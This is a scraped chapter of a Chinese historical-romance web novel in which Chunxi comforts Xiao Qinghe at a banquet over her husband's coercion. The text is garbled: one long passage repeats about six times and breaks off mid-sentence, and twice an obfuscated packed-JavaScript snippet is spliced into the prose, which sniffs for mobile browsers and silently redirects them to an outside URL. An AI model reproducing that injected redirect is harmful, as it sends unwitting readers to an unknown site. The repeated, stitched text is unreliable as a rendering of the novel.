沈清迟摇头小声道:“大嫂你自己吃吧我不饿。” 宾客陆陆续续地来很快屋里就有些拥挤了太傅夫人这才把孩子交给孙媳妇尹氏让年轻人去花园坐。 春喜拍拍手偏头问沈清迟:“你是继续留在这儿还是跟我去花园坐?” 沈清迟犹豫了下说:“我跟嫂嫂一起吧。” 大家都有相熟的人三三两两结伴而行春喜和沈清迟很自然地被落在最后。 沈清迟小声跟春喜说:“我刚刚看有好几位夫人都在暗中打量嫂嫂嫂嫂怎么不趁机上前与她们说说话?” “我又不认识她们有什么好说的?” “可是大哥好不容易才立功大嫂就不想好好交际帮一下大哥吗?” “你大哥很厉害我若出门到处拍人马屁反而是丢他的脸。” 沈清迟:“……” 虽然大嫂说的是大哥但她怎么感觉大嫂是在骂二哥三哥没出息? 话题到此结束沈清迟一时不知道该说什么。 春喜并不想跟众人走到一起一路溜溜 达达地欣赏着园景不知不觉连引路的下人都不见了。 沈清迟本想找个人问路路过一处假山突然听到假山后传来嘲讽的讥笑声。 “你们看到沈清迟今天那副窝囊讨好的样子了吗她也不拿镜子好好照照自己就凭她也配嫁进太傅府。” “是啊谁不知道她娘是庶女又是爬床上位的一颗心都扑在两个儿子身上只想让她攀个高枝好帮她两个哥哥铺路这种只会趴在夫家吸血的人谁会愿意娶回家啊。” “幸好她娘今天装病没来不然定会让她们娘俩颜面扫地再不敢肖想其他。” “那真是可惜了没能看到这样精彩的大戏。” 一群姑娘说着哄笑起来。 沈清迟脸上的血色褪得干干净净眼泪在眼眶打转嘴唇都咬破了才没哭出来。 春喜本想绕过假山看看说闲话的都是些什么人沈清迟立刻拉住她哀求地摇头。 很快几人便走了。 沈清迟擦掉眼泪小声道:“大嫂不必动怒我和娘确实是想攀高枝她们瞧不上也是应该的。” 春喜掀眸觑着她:“你既然觉得她们说的话都是对的为什么还要哭?” 沈清迟答不上来又擦了擦眼睛说:“我以后不会哭了。” 花园里人也不少萧清禾和尹氏是手帕交她给孩子送了一套上好的文房四宝又逗着孩子玩了一会儿就坐到一旁不说话了。 不过她身份尊贵往那儿一坐就不断有人主动上前与她说话。 萧清月今天也来了见萧清禾眉眼间满是倦怠便替她把前来攀谈的人打发走趁着无人时小声问:“我瞧着阿姐似乎消瘦了不少人也有些憔悴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587085|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧清月抓着萧清禾的手撒娇。 萧清禾勉强挤出一抹笑揉揉萧清月的脑袋:“一天天的哪有那么多不开心的事我就是初初掌家有些力不从心再过些时日就好了。” 萧清禾说完给雀枝递了个眼神雀枝立刻道:“二小姐你就别瞎想了夫人愿意放权给少夫人卫家上下也都信任少夫人这是多少新妇梦寐以求的事呢。” 萧清禾不愿说实话萧清月也不好追问只能转移话题说些高兴的事给萧清禾听。 萧清禾配合的笑只是笑意始终不达眼底身上一直笼罩着淡淡的哀愁。 萧清月心疼姐姐因此春喜刚带着沈清迟来到花园就被她盯上 了。 趁着萧清禾去如厕的功夫,萧清月带着人气势汹汹地来到春喜面前。 春喜毫不紧张,反而露出笑脸,热切地开口:“哟,二侄女,好久不见,你如今倒是越发的礼数周到,都知道主动来给长辈打招呼啦。” 春喜笑容明媚,和萧清禾的愁云惨淡形成了鲜明的对比。 萧清月恨得咬牙,但又不敢在太傅府多生事端,瞪了春喜片刻,取下腕间的玛瑙镯塞进春喜手里:“你不是喜欢钱吗,这个镯子很值钱,拿着它赶紧走,不许出现在我阿姐面前。” 镯子确实是好东西,萧清月不随便喊打喊杀,还知道塞钱求人办事也有很大的进步。 春喜挑了下眉,一点儿也不见外地勾住萧清月的肩膀,凑到她耳边低语:“我刚刚在门口碰到大侄女,她瞧着好像很不高兴,是不是你姐夫干了什么惹她生气了?” “阿姐和姐夫感情好着呢,你别乱说话!” 萧清月皱着眉呵斥,下意识地觉得让春喜知道萧清禾婚后过得不开心是很丢脸的事。 然而她越这样说,春喜越肯定自己的猜测是对的。 正好这个时候萧清禾回来了,春喜立刻松开萧清月,大步朝她走去。 萧清月:“……” 曹春喜,我是让你拿着东西滚出太傅府,你听不懂人话吗? 第112章 应该阉了这个狗东西 “大侄女,是不是卫凌泽欺负你了,你跟我说,婶婶帮你撑腰啊。” 春喜步子迈得大,身形也灵活,萧清月和雀枝都没拦住,她就像泥鳅一样钻到萧清禾面前,大大咧咧地问出了萦绕在心间的问题。 萧清月生怕她在自家阿姐心上撒盐,怒冲冲地去拽她:“谁让你胡说八道的,赶紧给我走!” 春喜底盘很稳,没被萧清月拽动分毫,反而用力把人拉到怀中,笑眯眯地对萧清禾说:“我也不想多管闲事,但大侄女你不高兴,二侄女就要把锅扣到我头上,说不定还会暗戳戳地找我麻烦,大侄女你心地善良,应该不会想牵连无辜,对吧?” 春喜力气大,胳膊往萧清月肩上一搭,萧清月就挣脱不了了,较了会儿劲憋得小脸通红。 萧清禾无奈地摇头:“好了,月儿,别闹了。” 萧清禾的语气虽然无奈,眼底却含着一丝笑意,瞧着倒是比刚刚有精神一些。 萧清月顿时不动了。 春喜当即松了力,拍拍她的肩膀说:“二侄女,你还没出阁,好些话你阿姐不方便跟你说,你去旁边待会儿,别让人过来打搅,我来开导开导你阿姐。” 春喜一脸地胸有成竹,萧清月不放心她,但又想死马当活马医,思索一会儿对萧清禾说:“阿姐,我就在旁边守着,若是她敢耍什么花招,你一喊我马上就来救你。” 萧清月说完,带着丫鬟婆子离开,萧清禾身边的人也都跟着退开了些。 周围安静下来,春喜没急着发问,抓起盘子里的橘子吭哧吭哧剥开,分了一半递给萧清禾。 平日都是雀枝削了皮,把橘子上的筋络摘得干干净净才递给萧清禾吃,春喜手里的橘子实在是剥得丑极了。 萧清禾却没嫌弃,接过来吃了一瓣。 很甜,汁水也足,和雀枝平日剥的橘子没什么两样。 萧清禾才吃完一小瓣,春喜已经把半个橘子都吃完了。 她又抓起一把瓜子,嗑了两颗才道:“说说吧,总是自己憋着生闷气也不好,你要是实在不想说,要不听听卫凌泽过去三年的丑事,我记得可多了。” 瘫痪的人,吃喝拉撒基本都在床上,一点儿尊严都没有,跟现在耀武扬威的卫家大少爷一点儿都不一样。 春喜说起过去三年相当自然,并不觉得那是自己的耻辱,反倒像是拿捏住了卫凌泽的什么把柄。 ”小婶婶,“萧清禾心念微动,轻声问道,“你还记得他之前是什么样的吗?” 这个他,自然是指 的卫凌泽。 “记得呀。” 根本不用回想,春喜脱口而出。 “在被调到他身边做事之前,我倒过夜香,也在厨房干过杂役,他很早就进校尉营历练了,一个月才回来一次,老夫人和夫人都心疼他,每次都会提前让厨房准备一大桌他爱吃的菜,他若是吃不完,我们也能沾光打打牙祭,那个时候他还挺体恤下人的。” 不像后来,伤了腿,躺在床上,稍有不顺心就要打杀别人来发泄怒火。 萧清禾也陷入回忆中。 那时卫凌泽虽然一个月才能回家一次,但回家休息一晚,第二天必会来萧家找她,每次来还会带一些她没见过的小玩意儿。 竹子编的小壶,野草编的蚂蚱,还有他自己糊的丑兮兮的灯笼和雕得乱七八糟的木簪。 过去三年,无数人告诉她就算她坚持不退婚,两家也会生出嫌隙,后来卫凌泽带着春喜到处张扬,所有人都说他变了心,可每次看到他送的那些东西,她还是忍不住心软。 她舍不下那个赤诚且热烈地爱着她的少年郎。 所以她说服自己接受春喜不去吃醋,甚至想过和春喜共事一夫。 她以为就算得不到全心全意的爱,她也能做好卫少夫人,可真的日日和卫凌泽相处,发现他身上再没有过去的半点儿痕迹,她才发现,这桩婚事变成了无比可怕的牢笼。 回忆太过美好,萧清禾又被刺红了眼,她深吸一口气压下泪意,偏头问春喜:“你觉得他现在和以前还有半点相似吗?” 春喜了然。 大侄女儿这是终于想通,发现卫凌泽这个狗东西的真面目了啊。 她自然不会帮卫凌泽说话,反而趁热打铁劝道:“人都是会变的,你不能一直沉溺在过去,而且他过去对你好,你对他难道不好吗,他都不顾念旧情,你凭什么还要惯着他?” 春喜摆明了是在挑拨离间,萧清禾却没有像上次那样维护卫凌泽。 春喜继续道:“我知道你顾全大局,不想连累族中其他姑娘的声誉,我不怕呀,我早就看不惯那个狗东西了,你受了什么委屈尽管告诉我,我帮你讨回来!” 春喜摩拳擦掌,一时激动,连狗东西都骂了出来。 萧清禾眨眨眼,有些怀疑自己听错了,但见春喜那副打定主意要为自己出头的模样,又觉得像是她能说出来的话。 狗东西? 这样听着好像还挺爽了。 毕竟那天在书房,卫凌泽对她做那些事确实很禽兽。 迟疑片刻,萧清禾问:“小婶婶与沈叔叔圆房了吗?” “这是自然的呀。” 春喜不假思索地点头,萧清禾捏紧绢帕,因为羞耻,声音压低了许多:“那小婶婶如果有不想的时候怎么办?” “不想就拒绝呀。” “如果沈叔叔不听呢?” 夫妻之事实在难以向外人诉说,萧清禾问完就后悔了。 她和春喜算不上多熟络,听春喜的语气还跟卫凌泽有仇,若是春喜借题发挥宣扬出去,卫萧两家的颜面难免受损。 萧清禾后悔不已,正想转移话题,春喜突然抓住她的手,严肃地说:“这种事,他若敢来硬的,就该阉了他!” 春喜语气坚定,眼底满满的都是心疼。 萧清禾满腔的顾虑瞬间消散,多日积压的委屈在这一刻奔涌而来,眼泪猝不及防地滚落,摧毁她全部的逞强和伪装。 萧清月一直注意着两人的一举一动,见阿姐哭了,连忙冲过来。 春喜把萧清禾摁入怀中,抢在萧清月之前开口。 “别嚷嚷,你阿姐没事,就是眼睛里不小心进东西了。” 的卫凌泽。 “记得呀。” 根本不用回想,春喜脱口而出。 “在被调到他身边做事之前,我倒过夜香,也在厨房干过杂役,他很早就进校尉营历练了,一个月才回来一次,老夫人和夫人都心疼他,每次都会提前让厨房准备一大桌他爱吃的菜,他若是吃不完,我们也能沾光打打牙祭,那个时候他还挺体恤下人的。” 不像后来,伤了腿,躺在床上,稍有不顺心就要打杀别人来发泄怒火。 萧清禾也陷入回忆中。 那时卫凌泽虽然一个月才能回家一次,但回家休息一晚,第二天必会来萧家找她,每次来还会带一些她没见过的小玩意儿。 竹子编的小壶,野草编的蚂蚱,还有他自己糊的丑兮兮的灯笼和雕得乱七八糟的木簪。 过去三年,无数人告诉她就算她坚持不退婚,两家也会生出嫌隙,后来卫凌泽带着春喜到处张扬,所有人都说他变了心,可每次看到他送的那些东西,她还是忍不住心软。 她舍不下那个赤诚且热烈地爱着她的少年郎。 所以她说服自己接受春喜不去吃醋,甚至想过和春喜共事一夫。 她以为就算得不到全心全意的爱,她也能做好卫少夫人,可真的日日和卫凌泽相处,发现他身上再没有过去的半点儿痕迹,她才发现,这桩婚事变成了无比可怕的牢笼。 回忆太过美好,萧清禾又被刺红了眼,她深吸一口气压下泪意,偏头问春喜:“你觉得他现在和以前还有半点相似吗?” 春喜了然。 大侄女儿这是终于想通,发现卫凌泽这个狗东西的真面目了啊。 她自然不会帮卫凌泽说话,反而趁热打铁劝道:“人都是会变的,你不能一直沉溺在过去,而且他过去对你好,你对他难道不好吗,他都不顾念旧情,你凭什么还要惯着他?” 春喜摆明了是在挑拨离间,萧清禾却没有像上次那样维护卫凌泽。 春喜继续道:“我知道你顾全大局,不想连累族中其他姑娘的声誉,我不怕呀,我早就看不惯那个狗东西了,你受了什么委屈尽管告诉我,我帮你讨回来!” 春喜摩拳擦掌,一时激动,连狗东西都骂了出来。 萧清禾眨眨眼,有些怀疑自己听错了,但见春喜那副打定主意要为自己出头的模样,又觉得像是她能说出来的话。 狗东西? 这样听着好像还挺爽了。 毕竟那天在书房,卫凌泽对她做那些事确实很禽兽。 迟疑片刻,萧清禾问:“小婶婶与沈叔叔圆房了吗?” “这是自然的呀。” 春喜不假思索地点头,萧清禾捏紧绢帕,因为羞耻,声音压低了许多:“那小婶婶如果有不想的时候怎么办?” “不想就拒绝呀。” “如果沈叔叔不听呢?” 夫妻之事实在难以向外人诉说,萧清禾问完就后悔了。 她和春喜算不上多熟络,听春喜的语气还跟卫凌泽有仇,若是春喜借题发挥宣扬出去,卫萧两家的颜面难免受损。 萧清禾后悔不已,正想转移话题,春喜突然抓住她的手,严肃地说:“这种事,他若敢来硬的,就该阉了他!” 春喜语气坚定,眼底满满的都是心疼。 萧清禾满腔的顾虑瞬间消散,多日积压的委屈在这一刻奔涌而来,眼泪猝不及防地滚落,摧毁她全部的逞强和伪装。 萧清月一直注意着两人的一举一动,见阿姐哭了,连忙冲过来。 春喜把萧清禾摁入怀中,抢在萧清月之前开口。 “别嚷嚷,你阿姐没事,就是眼睛里不小心进东西了。” 的卫凌泽。 “记得呀。” 根本不用回想,春喜脱口而出。 “在被调到他身边做事之前,我倒过夜香,也在厨房干过杂役,他很早就进校尉营历练了,一个月才回来一次,老夫人和夫人都心疼他,每次都会提前让厨房准备一大桌他爱吃的菜,他若是吃不完,我们也能沾光打打牙祭,那个时候他还挺体恤下人的。” 不像后来,伤了腿,躺在床上,稍有不顺心就要打杀别人来发泄怒火。 萧清禾也陷入回忆中。 那时卫凌泽虽然一个月才能回家一次,但回家休息一晚,第二天必会来萧家找她,每次来还会带一些她没见过的小玩意儿。 竹子编的小壶,野草编的蚂蚱,还有他自己糊的丑兮兮的灯笼和雕得乱七八糟的木簪。 过去三年,无数人告诉她就算她坚持不退婚,两家也会生出嫌隙,后来卫凌泽带着春喜到处张扬,所有人都说他变了心,可每次看到他送的那些东西,她还是忍不住心软。 她舍不下那个赤诚且热烈地爱着她的少年郎。 所以她说服自己接受春喜不去吃醋,甚至想过和春喜共事一夫。 她以为就算得不到全心全意的爱,她也能做好卫少夫人,可真的日日和卫凌泽相处,发现他身上再没有过去的半点儿痕迹,她才发现,这桩婚事变成了无比可怕的牢笼。 回忆太过美好,萧清禾又被刺红了眼,她深吸一口气压下泪意,偏头问春喜:“你觉得他现在和以前还有半点相似吗?” 春喜了然。 大侄女儿这是终于想通,发现卫凌泽这个狗东西的真面目了啊。 她自然不会帮卫凌泽说话,反而趁热打铁劝道:“人都是会变的,你不能一直沉溺在过去,而且他过去对你好,你对他难道不好吗,他都不顾念旧情,你凭什么还要惯着他?” 春喜摆明了是在挑拨离间,萧清禾却没有像上次那样维护卫凌泽。 春喜继续道:“我知道你顾全大局,不想连累族中其他姑娘的声誉,我不怕呀,我早就看不惯那个狗东西了,你受了什么委屈尽管告诉我,我帮你讨回来!” 春喜摩拳擦掌,一时激动,连狗东西都骂了出来。 萧清禾眨眨眼,有些怀疑自己听错了,但见春喜那副打定主意要为自己出头的模样,又觉得像是她能说出来的话。 狗东西? 这样听着好像还挺爽了。 毕竟那天在书房,卫凌泽对她做那些事确实很禽兽。 迟疑片刻,萧清禾问:“小婶婶与沈叔叔圆房了吗?” “这是自然的呀。” 春喜不假思索地点头,萧清禾捏紧绢帕,因为羞耻,声音压低了许多:“那小婶婶如果有不想的时候怎么办?” “不想就拒绝呀。” “如果沈叔叔不听呢?” 夫妻之事实在难以向外人诉说,萧清禾问完就后悔了。 她和春喜算不上多熟络,听春喜的语气还跟卫凌泽有仇,若是春喜借题发挥宣扬出去,卫萧两家的颜面难免受损。 萧清禾后悔不已,正想转移话题,春喜突然抓住她的手,严肃地说:“这种事,他若敢来硬的,就该阉了他!” 春喜语气坚定,眼底满满的都是心疼。 萧清禾满腔的顾虑瞬间消散,多日积压的委屈在这一刻奔涌而来,眼泪猝不及防地滚落,摧毁她全部的逞强和伪装。 萧清月一直注意着两人的一举一动,见阿姐哭了,连忙冲过来。 春喜把萧清禾摁入怀中,抢在萧清月之前开口。 “别嚷嚷,你阿姐没事,就是眼睛里不小心进东西了。” 的卫凌泽。 “记得呀。” 根本不用回想,春喜脱口而出。 “在被调到他身边做事之前,我倒过夜香,也在厨房干过杂役,他很早就进校尉营历练了,一个月才回来一次,老夫人和夫人都心疼他,每次都会提前让厨房准备一大桌他爱吃的菜,他若是吃不完,我们也能沾光打打牙祭,那个时候他还挺体恤下人的。” 不像后来,伤了腿,躺在床上,稍有不顺心就要打杀别人来发泄怒火。 萧清禾也陷入回忆中。 那时卫凌泽虽然一个月才能回家一次,但回家休息一晚,第二天必会来萧家找她,每次来还会带一些她没见过的小玩意儿。 竹子编的小壶,野草编的蚂蚱,还有他自己糊的丑兮兮的灯笼和雕得乱七八糟的木簪。 过去三年,无数人告诉她就算她坚持不退婚,两家也会生出嫌隙,后来卫凌泽带着春喜到处张扬,所有人都说他变了心,可每次看到他送的那些东西,她还是忍不住心软。 她舍不下那个赤诚且热烈地爱着她的少年郎。 所以她说服自己接受春喜不去吃醋,甚至想过和春喜共事一夫。 她以为就算得不到全心全意的爱,她也能做好卫少夫人,可真的日日和卫凌泽相处,发现他身上再没有过去的半点儿痕迹,她才发现,这桩婚事变成了无比可怕的牢笼。 回忆太过美好,萧清禾又被刺红了眼,她深吸一口气压下泪意,偏头问春喜:“你觉得他现在和以前还有半点相似吗?” 春喜了然。 大侄女儿这是终于想通,发现卫凌泽这个狗东西的真面目了啊。 她自然不会帮卫凌泽说话,反而趁热打铁劝道:“人都是会变的,你不能一直沉溺在过去,而且他过去对你好,你对他难道不好吗,他都不顾念旧情,你凭什么还要惯着他?” 春喜摆明了是在挑拨离间,萧清禾却没有像上次那样维护卫凌泽。 春喜继续道:“我知道你顾全大局,不想连累族中其他姑娘的声誉,我不怕呀,我早就看不惯那个狗东西了,你受了什么委屈尽管告诉我,我帮你讨回来!” 春喜摩拳擦掌,一时激动,连狗东西都骂了出来。 萧清禾眨眨眼,有些怀疑自己听错了,但见春喜那副打定主意要为自己出头的模样,又觉得像是她能说出来的话。 狗东西? 这样听着好像还挺爽了。 毕竟那天在书房,卫凌泽对她做那些事确实很禽兽。 迟疑片刻,萧清禾问:“小婶婶与沈叔叔圆房了吗?” “这是自然的呀。” 春喜不假思索地点头,萧清禾捏紧绢帕,因为羞耻,声音压低了许多:“那小婶婶如果有不想的时候怎么办?” “不想就拒绝呀。” “如果沈叔叔不听呢?” 夫妻之事实在难以向外人诉说,萧清禾问完就后悔了。 她和春喜算不上多熟络,听春喜的语气还跟卫凌泽有仇,若是春喜借题发挥宣扬出去,卫萧两家的颜面难免受损。 萧清禾后悔不已,正想转移话题,春喜突然抓住她的手,严肃地说:“这种事,他若敢来硬的,就该阉了他!” 春喜语气坚定,眼底满满的都是心疼。 萧清禾满腔的顾虑瞬间消散,多日积压的委屈在这一刻奔涌而来,眼泪猝不及防地滚落,摧毁她全部的逞强和伪装。 萧清月一直注意着两人的一举一动,见阿姐哭了,连忙冲过来。 春喜把萧清禾摁入怀中,抢在萧清月之前开口。 “别嚷嚷,你阿姐没事,就是眼睛里不小心进东西了。” 的卫凌泽。 “记得呀。” 根本不用回想,春喜脱口而出。 “在被调到他身边做事之前,我倒过夜香,也在厨房干过杂役,他很早就进校尉营历练了,一个月才回来一次,老夫人和夫人都心疼他,每次都会提前让厨房准备一大桌他爱吃的菜,他若是吃不完,我们也能沾光打打牙祭,那个时候他还挺体恤下人的。” 不像后来,伤了腿,躺在床上,稍有不顺心就要打杀别人来发泄怒火。 萧清禾也陷入回忆中。 那时卫凌泽虽然一个月才能回家一次,但回家休息一晚,第二天必会来萧家找她,每次来还会带一些她没见过的小玩意儿。 竹子编的小壶,野草编的蚂蚱,还有他自己糊的丑兮兮的灯笼和雕得乱七八糟的木簪。 过去三年,无数人告诉她就算她坚持不退婚,两家也会生出嫌隙,后来卫凌泽带着春喜到处张扬,所有人都说他变了心,可每次看到他送的那些东西,她还是忍不住心软。 她舍不下那个赤诚且热烈地爱着她的少年郎。 所以她说服自己接受春喜不去吃醋,甚至想过和春喜共事一夫。 她以为就算得不到全心全意的爱,她也能做好卫少夫人,可真的日日和卫凌泽相处,发现他身上再没有过去的半点儿痕迹,她才发现,这桩婚事变成了无比可怕的牢笼。 回忆太过美好,萧清禾又被刺红了眼,她深吸一口气压下泪意,偏头问春喜:“你觉得他现在和以前还有半点相似吗?” 春喜了然。 大侄女儿这是终于想通,发现卫凌泽这个狗东西的真面目了啊。 她自然不会帮卫凌泽说话,反而趁热打铁劝道:“人都是会变的,你不能一直沉溺在过去,而且他过去对你好,你对他难道不好吗,他都不顾念旧情,你凭什么还要惯着他?” 春喜摆明了是在挑拨离间,萧清禾却没有像上次那样维护卫凌泽。 春喜继续道:“我知道你顾全大局,不想连累族中其他姑娘的声誉,我不怕呀,我早就看不惯那个狗东西了,你受了什么委屈尽管告诉我,我帮你讨回来!” 春喜摩拳擦掌,一时激动,连狗东西都骂了出来。 萧清禾眨眨眼,有些怀疑自己听错了,但见春喜那副打定主意要为自己出头的模样,又觉得像是她能说出来的话。 狗东西? 这样听着好像还挺爽了。 毕竟那天在书房,卫凌泽对她做那些事确实很禽兽。 迟疑片刻,萧清禾问:“小婶婶与沈叔叔圆房了吗?” “这是自然的呀。” 春喜不假思索地点头,萧清禾捏紧绢帕,因为羞耻,声音压低了许多:“那小婶婶如果有不想的时候怎么办?” “不想就拒绝呀。” “如果沈叔叔不听呢?” 夫妻之事实在难以向外人诉说,萧清禾问完就后悔了。 她和春喜算不上多熟络,听春喜的语气还跟卫凌泽有仇,若是春喜借题发挥宣扬出去,卫萧两家的颜面难免受损。 萧清禾后悔不已,正想转移话题,春喜突然抓住她的手,严肃地说:“这种事,他若敢来硬的,就该阉了他!” 春喜语气坚定,眼底满满的都是心疼。 萧清禾满腔的顾虑瞬间消散,多日积压的委屈在这一刻奔涌而来,眼泪猝不及防地滚落,摧毁她全部的逞强和伪装。 萧清月一直注意着两人的一举一动,见阿姐哭了,连忙冲过来。 春喜把萧清禾摁入怀中,抢在萧清月之前开口。 “别嚷嚷,你阿姐没事,就是眼睛里不小心进东西了。” 的卫凌泽。 “记得呀。” 根本不用回想,春喜脱口而出。 “在被调到他身边做事之前,我倒过夜香,也在厨房干过杂役,他很早就进校尉营历练了,一个月才回来一次,老夫人和夫人都心疼他,每次都会提前让厨房准备一大桌他爱吃的菜,他若是吃不完,我们也能沾光打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587086|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打牙祭,那个时候他还挺体恤下人的。” 不像后来,伤了腿,躺在床上,稍有不顺心就要打杀别人来发泄怒火。 萧清禾也陷入回忆中。 那时卫凌泽虽然一个月才能回家一次,但回家休息一晚,第二天必会来萧家找她,每次来还会带一些她没见过的小玩意儿。 竹子编的小壶,野草编的蚂蚱,还有他自己糊的丑兮兮的灯笼和雕得乱七八糟的木簪。 过去三年,无数人告诉她就算她坚持不退婚,两家也会生出嫌隙,后来卫凌泽带着春喜到处张扬,所有人都说他变了心,可每次看到他送的那些东西,她还是忍不住心软。 她舍不下那个赤诚且热烈地爱着她的少年郎。 所以她说服自己接受春喜不去吃醋,甚至想过和春喜共事一夫。 她以为就算得不到全心全意的爱,她也能做好卫少夫人,可真的日日和卫凌泽相处,发现他身上再没有过去的半点儿痕迹,她才发现,这桩婚事变成了无比可怕的牢笼。 回忆太过美好,萧清禾又被刺红了眼,她深吸一口气压下泪意,偏头问春喜:“你觉得他现在和以前还有半点相似吗?” 春喜了然。 大侄女儿这是终于想通,发现卫凌泽这个狗东西的真面目了啊。 她自然不会帮卫凌泽说话,反而趁热打铁劝道:“人都是会变的,你不能一直沉溺在过去,而且他过去对你好,你对他难道不好吗,他都不顾念旧情,你凭什么还要惯着他?” 春喜摆明了是在挑拨离间,萧清禾却没有像上次那样维护卫凌泽。 春喜继续道:“我知道你顾全大局,不想连累族中其他姑娘的声誉,我不怕呀,我早就看不惯那个狗东西了,你受了什么委屈尽管告诉我,我帮你讨回来!” 春喜摩拳擦掌,一时激动,连狗东西都骂了出来。 萧清禾眨眨眼,有些怀疑自己听错了,但见春喜那副打定主意要为自己出头的模样,又觉得像是她能说出来的话。 狗东西? 这样听着好像还挺爽了。 毕竟那天在书房,卫凌泽对她做那些事确实很禽兽。 迟疑片刻,萧清禾问:“小婶婶与沈叔叔圆房了吗?” “这是自然的呀。” 春喜不假思索地点头,萧清禾捏紧绢帕,因为羞耻,声音压低了许多:“那小婶婶如果有不想的时候怎么办?” “不想就拒绝呀。” “如果沈叔叔不听呢?” 夫妻之事实在难以向外人诉说,萧清禾问完就后悔了。 她和春喜算不上多熟络,听春喜的语气还跟卫凌泽有仇,若是春喜借题发挥宣扬出去,卫萧两家的颜面难免受损。 萧清禾后悔不已,正想转移话题,春喜突然抓住她的手,严肃地说:“这种事,他若敢来硬的,就该阉了他!” 春喜语气坚定,眼底满满的都是心疼。 萧清禾满腔的顾虑瞬间消散,多日积压的委屈在这一刻奔涌而来,眼泪猝不及防地滚落,摧毁她全部的逞强和伪装。 萧清月一直注意着两人的一举一动,见阿姐哭了,连忙冲过来。 春喜把萧清禾摁入怀中,抢在萧清月之前开口。 “别嚷嚷,你阿姐没事,就是眼睛里不小心进东西了。” 的卫凌泽。 “记得呀。” 根本不用回想,春喜脱口而出。 “在被调到他身边做事之前,我倒过夜香,也在厨房干过杂役,他很早就进校尉营历练了,一个月才回来一次,老夫人和夫人都心疼他,每次都会提前让厨房准备一大桌他爱吃的菜,他若是吃不完,我们也能沾光打打牙祭,那个时候他还挺体恤下人的。” 不像后来,伤了腿,躺在床上,稍有不顺心就要打杀别人来发泄怒火。 萧清禾也陷入回忆中。 那时卫凌泽虽然一个月才能回家一次,但回家休息一晚,第二天必会来萧家找她,每次来还会带一些她没见过的小玩意儿。 竹子编的小壶,野草编的蚂蚱,还有他自己糊的丑兮兮的灯笼和雕得乱七八糟的木簪。 过去三年,无数人告诉她就算她坚持不退婚,两家也会生出嫌隙,后来卫凌泽带着春喜到处张扬,所有人都说他变了心,可每次看到他送的那些东西,她还是忍不住心软。 她舍不下那个赤诚且热烈地爱着她的少年郎。 所以她说服自己接受春喜不去吃醋,甚至想过和春喜共事一夫。 她以为就算得不到全心全意的爱,她也能做好卫少夫人,可真的日日和卫凌泽相处,发现他身上再没有过去的半点儿痕迹,她才发现,这桩婚事变成了无比可怕的牢笼。 回忆太过美好,萧清禾又被刺红了眼,她深吸一口气压下泪意,偏头问春喜:“你觉得他现在和以前还有半点相似吗?” 春喜了然。 大侄女儿这是终于想通,发现卫凌泽这个狗东西的真面目了啊。 她自然不会帮卫凌泽说话,反而趁热打铁劝道:“人都是会变的,你不能一直沉溺在过去,而且他过去对你好,你对他难道不好吗,他都不顾念旧情,你凭什么还要惯着他?” 春喜摆明了是在挑拨离间,萧清禾却没有像上次那样维护卫凌泽。 春喜继续道:“我知道你顾全大局,不想连累族中其他姑娘的声誉,我不怕呀,我早就看不惯那个狗东西了,你受了什么委屈尽管告诉我,我帮你讨回来!” 春喜摩拳擦掌,一时激动,连狗东西都骂了出来。 萧清禾眨眨眼,有些怀疑自己听错了,但见春喜那副打定主意要为自己出头的模样,又觉得像是她能说出来的话。 狗东西? 这样听着好像还挺爽了。 毕竟那天在书房,卫凌泽对她做那些事确实很禽兽。 迟疑片刻,萧清禾问:“小婶婶与沈叔叔圆房了吗?” “这是自然的呀。” 春喜不假思索地点头,萧清禾捏紧绢帕,因为羞耻,声音压低了许多:“那小婶婶如果有不想的时候怎么办?” “不想就拒绝呀。” “如果沈叔叔不听呢?” 夫妻之事实在难以向外人诉说,萧清禾问完就后悔了。 她和春喜算不上多熟络,听春喜的语气还跟卫凌泽有仇,若是春喜借题发挥宣扬出去,卫萧两家的颜面难免受损。 萧清禾后悔不已,正想转移话题,春喜突然抓住她的手,严肃地说:“这种事,他若敢来硬的,就该阉了他!” 春喜语气坚定,眼底满满的都是心疼。 萧清禾满腔的顾虑瞬间消散,多日积压的委屈在这一刻奔涌而来,眼泪猝不及防地滚落,摧毁她全部的逞强和伪装。 萧清月一直注意着两人的一举一动,见阿姐哭了,连忙冲过来。 春喜把萧清禾摁入怀中,抢在萧清月之前开口。 “别嚷嚷,你阿姐没事,就是眼睛里不小心进东西了。” 的卫凌泽。 “记得呀。” 根本不用回想,春喜脱口而出。 “在被调到他身边做事之前,我倒过夜香,也在厨房干过杂役,他很早就进校尉营历练了,一个月才回来一次,老夫人和夫人都心疼他,每次都会提前让厨房准备一大桌他爱吃的菜,他若是吃不完,我们也能沾光打打牙祭,那个时候他还挺体恤下人的。” 不像后来,伤了腿,躺在床上,稍有不顺心就要打杀别人来发泄怒火。 萧清禾也陷入回忆中。 那时卫凌泽虽然一个月才能回家一次,但回家休息一晚,第二天必会来萧家找她,每次来还会带一些她没见过的小玩意儿。 竹子编的小壶,野草编的蚂蚱,还有他自己糊的丑兮兮的灯笼和雕得乱七八糟的木簪。 过去三年,无数人告诉她就算她坚持不退婚,两家也会生出嫌隙,后来卫凌泽带着春喜到处张扬,所有人都说他变了心,可每次看到他送的那些东西,她还是忍不住心软。 她舍不下那个赤诚且热烈地爱着她的少年郎。 所以她说服自己接受春喜不去吃醋,甚至想过和春喜共事一夫。 